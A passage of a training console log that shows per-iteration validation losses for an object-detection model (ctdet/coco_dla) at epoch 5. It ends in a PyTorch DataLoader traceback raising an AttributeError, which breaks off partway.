0:00:00 |loss 0.7429 |hm_loss 0.5009 |wh_loss 2.0734 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1826/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7425 |hm_loss 0.5006 |wh_loss 2.0723 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1827/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7422 |hm_loss 0.5004 |wh_loss 2.0711 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1828/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7418 |hm_loss 0.5001 |wh_loss 2.0700 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1829/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7451 |hm_loss 0.5021 |wh_loss 2.0822 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1830/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7487 |hm_loss 0.5043 |wh_loss 2.0945 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1831/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7483 |hm_loss 0.5041 |wh_loss 2.0934 |off_loss 0.0349 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1832/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7479 |hm_loss 0.5038 |wh_loss 2.0922 |off_loss 0.0349 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1833/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7475 |hm_loss 0.5036 |wh_loss 2.0911 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1834/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7472 |hm_loss 0.5034 |wh_loss 2.0899 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1835/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7468 |hm_loss 0.5031 |wh_loss 2.0888 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1836/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7464 |hm_loss 0.5029 |wh_loss 2.0877 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1837/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7460 |hm_loss 0.5026 |wh_loss 2.0865 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1838/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7457 |hm_loss 0.5024 |wh_loss 2.0854 |off_loss 0.0347 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1839/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7484 |hm_loss 0.5041 |wh_loss 2.0942 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1840/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7511 |hm_loss 0.5059 |wh_loss 2.1016 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1841/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7540 |hm_loss 0.5078 |wh_loss 2.1097 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1842/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7569 |hm_loss 0.5097 |wh_loss 2.1191 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1843/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7599 |hm_loss 0.5117 |wh_loss 2.1280 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1844/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7626 |hm_loss 0.5138 |wh_loss 2.1332 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1845/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7652 |hm_loss 0.5159 |wh_loss 2.1379 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1846/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7683 |hm_loss 0.5180 |wh_loss 2.1468 |off_loss 0.0357 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1847/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7713 |hm_loss 0.5200 |wh_loss 2.1551 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1848/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7746 |hm_loss 0.5221 |wh_loss 2.1654 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1849/2110]|Tot: 0:00:40 |ETA: 0:00:00 |loss 0.7781 |hm_loss 0.5242 |wh_loss 2.1762 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1850/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7811 |hm_loss 0.5263 |wh_loss 2.1848 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1851/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7807 |hm_loss 0.5260 |wh_loss 2.1836 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1852/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7803 |hm_loss 0.5258 |wh_loss 2.1825 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1853/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7799 |hm_loss 0.5255 |wh_loss 2.1813 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1854/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7795 |hm_loss 0.5253 |wh_loss 2.1801 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1855/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7791 |hm_loss 0.5250 |wh_loss 2.1789 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1856/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7788 |hm_loss 0.5248 |wh_loss 2.1778 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1857/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7784 |hm_loss 0.5245 |wh_loss 2.1766 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1858/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7780 |hm_loss 0.5243 |wh_loss 2.1754 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1859/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7776 |hm_loss 0.5240 |wh_loss 2.1742 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1860/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7772 |hm_loss 0.5237 |wh_loss 2.1731 |off_loss 0.0361 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1861/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7768 |hm_loss 0.5235 |wh_loss 2.1719 |off_loss 0.0361 |Data 0.009s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1862/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7764 |hm_loss 0.5232 |wh_loss 2.1707 |off_loss 0.0361 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1863/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7760 |hm_loss 0.5230 |wh_loss 2.1696 |off_loss 0.0361 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1864/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7756 |hm_loss 0.5227 |wh_loss 2.1684 |off_loss 0.0361 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1865/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7753 |hm_loss 0.5225 |wh_loss 2.1673 |off_loss 0.0360 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1866/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7749 |hm_loss 0.5222 |wh_loss 2.1661 |off_loss 0.0360 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1867/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7745 |hm_loss 0.5220 |wh_loss 2.1649 |off_loss 0.0360 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1868/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7741 |hm_loss 0.5217 |wh_loss 2.1638 |off_loss 0.0360 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1869/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7737 |hm_loss 0.5215 |wh_loss 2.1626 |off_loss 0.0360 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1870/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7733 |hm_loss 0.5212 |wh_loss 2.1615 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1871/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7729 |hm_loss 0.5210 |wh_loss 2.1603 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1872/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7726 |hm_loss 0.5207 |wh_loss 2.1592 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1873/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7722 |hm_loss 0.5205 |wh_loss 2.1580 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1874/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7718 |hm_loss 0.5202 |wh_loss 2.1569 |off_loss 0.0359 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1875/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7714 |hm_loss 0.5200 |wh_loss 2.1557 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1876/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7710 |hm_loss 0.5197 |wh_loss 2.1546 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1877/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7706 |hm_loss 0.5195 |wh_loss 2.1534 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1878/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7703 |hm_loss 0.5192 |wh_loss 2.1523 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1879/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7699 |hm_loss 0.5190 |wh_loss 2.1511 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1880/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7695 |hm_loss 0.5187 |wh_loss 2.1500 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1881/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7691 |hm_loss 0.5185 |wh_loss 2.1488 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1882/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7687 |hm_loss 0.5182 |wh_loss 2.1477 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1883/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7720 |hm_loss 0.5203 |wh_loss 2.1601 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1884/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7747 |hm_loss 0.5221 |wh_loss 2.1687 |off_loss 0.0358 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1885/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7743 |hm_loss 0.5218 |wh_loss 2.1676 |off_loss 0.0357 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1886/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7739 |hm_loss 0.5216 |wh_loss 2.1664 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1887/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7735 |hm_loss 0.5213 |wh_loss 2.1653 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1888/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7732 |hm_loss 0.5211 |wh_loss 2.1641 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1889/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7728 |hm_loss 0.5208 |wh_loss 2.1630 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1890/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7724 |hm_loss 0.5206 |wh_loss 2.1618 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1891/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7720 |hm_loss 0.5203 |wh_loss 2.1607 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1892/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7716 |hm_loss 0.5201 |wh_loss 2.1596 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1893/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7713 |hm_loss 0.5198 |wh_loss 2.1584 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1894/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7709 |hm_loss 0.5196 |wh_loss 2.1573 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1895/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7705 |hm_loss 0.5193 |wh_loss 2.1561 |off_loss 0.0356 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1896/2110]|Tot: 0:00:41 |ETA: 0:00:00 |loss 0.7701 |hm_loss 0.5191 |wh_loss 2.1550 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1897/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7697 |hm_loss 0.5188 |wh_loss 2.1539 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1898/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7694 |hm_loss 0.5186 |wh_loss 2.1527 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1899/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7690 |hm_loss 0.5183 |wh_loss 2.1516 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1900/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7686 |hm_loss 0.5181 |wh_loss 2.1505 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1901/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7682 |hm_loss 0.5178 |wh_loss 2.1493 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1902/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7679 |hm_loss 0.5176 |wh_loss 2.1482 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1903/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7675 |hm_loss 0.5174 |wh_loss 2.1471 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1904/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7671 |hm_loss 0.5171 |wh_loss 2.1460 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1905/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7667 |hm_loss 0.5169 |wh_loss 2.1448 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1906/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7663 |hm_loss 0.5166 |wh_loss 2.1437 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1907/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7660 |hm_loss 0.5164 |wh_loss 2.1426 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1908/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7656 |hm_loss 0.5161 |wh_loss 2.1415 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1909/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7652 |hm_loss 0.5159 |wh_loss 2.1403 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1910/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7649 |hm_loss 0.5157 |wh_loss 2.1392 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1911/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7645 |hm_loss 0.5154 |wh_loss 2.1381 |off_loss 0.0353 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1912/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7641 |hm_loss 0.5152 |wh_loss 2.1370 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1913/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7637 |hm_loss 0.5149 |wh_loss 2.1359 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1914/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7634 |hm_loss 0.5147 |wh_loss 2.1347 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1915/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7630 |hm_loss 0.5144 |wh_loss 2.1336 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1916/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7626 |hm_loss 0.5142 |wh_loss 2.1325 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1917/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7622 |hm_loss 0.5140 |wh_loss 2.1314 |off_loss 0.0352 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1918/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7619 |hm_loss 0.5137 |wh_loss 2.1303 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1919/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7615 |hm_loss 0.5135 |wh_loss 2.1292 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1920/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7611 |hm_loss 0.5132 |wh_loss 2.1281 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1921/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7608 |hm_loss 0.5130 |wh_loss 2.1270 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1922/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7604 |hm_loss 0.5128 |wh_loss 2.1259 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1923/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7600 |hm_loss 0.5125 |wh_loss 2.1248 |off_loss 0.0350 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1924/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7597 |hm_loss 0.5123 |wh_loss 2.1237 |off_loss 0.0350 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1925/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7593 |hm_loss 0.5120 |wh_loss 2.1226 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1926/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7589 |hm_loss 0.5118 |wh_loss 2.1215 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1927/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7586 |hm_loss 0.5116 |wh_loss 2.1204 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1928/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7582 |hm_loss 0.5113 |wh_loss 2.1193 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1929/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7578 |hm_loss 0.5111 |wh_loss 2.1182 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1930/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7575 |hm_loss 0.5108 |wh_loss 2.1171 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1931/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7571 |hm_loss 0.5106 |wh_loss 2.1160 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1932/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7567 |hm_loss 0.5104 |wh_loss 2.1149 |off_loss 0.0349 |Data 0.017s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1933/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7564 |hm_loss 0.5101 |wh_loss 2.1138 |off_loss 0.0349 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1934/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7560 |hm_loss 0.5099 |wh_loss 2.1127 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1935/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7556 |hm_loss 0.5097 |wh_loss 2.1116 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1936/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7553 |hm_loss 0.5094 |wh_loss 2.1105 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1937/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7549 |hm_loss 0.5092 |wh_loss 2.1094 |off_loss 0.0348 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1938/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7546 |hm_loss 0.5090 |wh_loss 2.1083 |off_loss 0.0348 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1939/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7542 |hm_loss 0.5087 |wh_loss 2.1072 |off_loss 0.0348 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1940/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7538 |hm_loss 0.5085 |wh_loss 2.1062 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1941/2110]|Tot: 0:00:42 |ETA: 0:00:00 |loss 0.7535 |hm_loss 0.5083 |wh_loss 2.1051 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1942/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7531 |hm_loss 0.5080 |wh_loss 2.1040 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1943/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7528 |hm_loss 0.5078 |wh_loss 2.1029 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1944/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7524 |hm_loss 0.5076 |wh_loss 2.1018 |off_loss 0.0347 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1945/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7520 |hm_loss 0.5073 |wh_loss 2.1007 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1946/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7517 |hm_loss 0.5071 |wh_loss 2.0997 |off_loss 0.0346 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1947/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7513 |hm_loss 0.5069 |wh_loss 2.0986 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1948/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7510 |hm_loss 0.5066 |wh_loss 2.0975 |off_loss 0.0346 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1949/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7506 |hm_loss 0.5064 |wh_loss 2.0964 |off_loss 0.0346 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1950/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7548 |hm_loss 0.5082 |wh_loss 2.1193 |off_loss 0.0346 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1951/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7587 |hm_loss 0.5100 |wh_loss 2.1392 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1952/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7623 |hm_loss 0.5119 |wh_loss 2.1558 |off_loss 0.0349 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1953/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7657 |hm_loss 0.5137 |wh_loss 2.1700 |off_loss 0.0350 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1954/2110]|Tot: 0:00:43 |ETA: 0:00:00 |loss 0.7684 |hm_loss 0.5154 |wh_loss 2.1795 |off_loss 0.0351 |Data 0.000s(0.001s) |Net 0.022s Traceback (most recent call last): File "main.py", line 105, in <module> main(opt) File "main.py", line 82, in main log_dict_val, preds = trainer.val(epoch, val_loader) File "/root/c/src/lib/trains/base_trainer.py", line 116, in val return self.run_epoch('val', epoch, data_loader) File "/root/c/src/lib/trains/base_trainer.py", line 61, in run_epoch for iter_id, batch in enumerate(data_loader): File "/root/.pyenv/versions/3.6.9/lib/python3.6/site-packages/torch/utils/data/dataloader.py", line 336, in __next__ return self._process_next_batch(batch) File "/root/.pyenv/versions/3.6.9/lib/python3.6/site-packages/torch/utils/data/dataloader.py", line 357, in _process_next_batch raise batch.exc_type(batch.exc_msg) AttributeError: Traceback (most recent call last): File "/root/.pyenv/versions/3.6.9/lib/python3.6/site-packages/torch/utils/data/dataloader.py", line 106, in _worker_loop samples = collate_fn([dataset[i] for i in batch_indices]) File "/root/.pyenv/versions/3.6.9/lib/python3.6/site-packages/torch/utils/data/dataloader.py", line 106, in <listcomp> samples 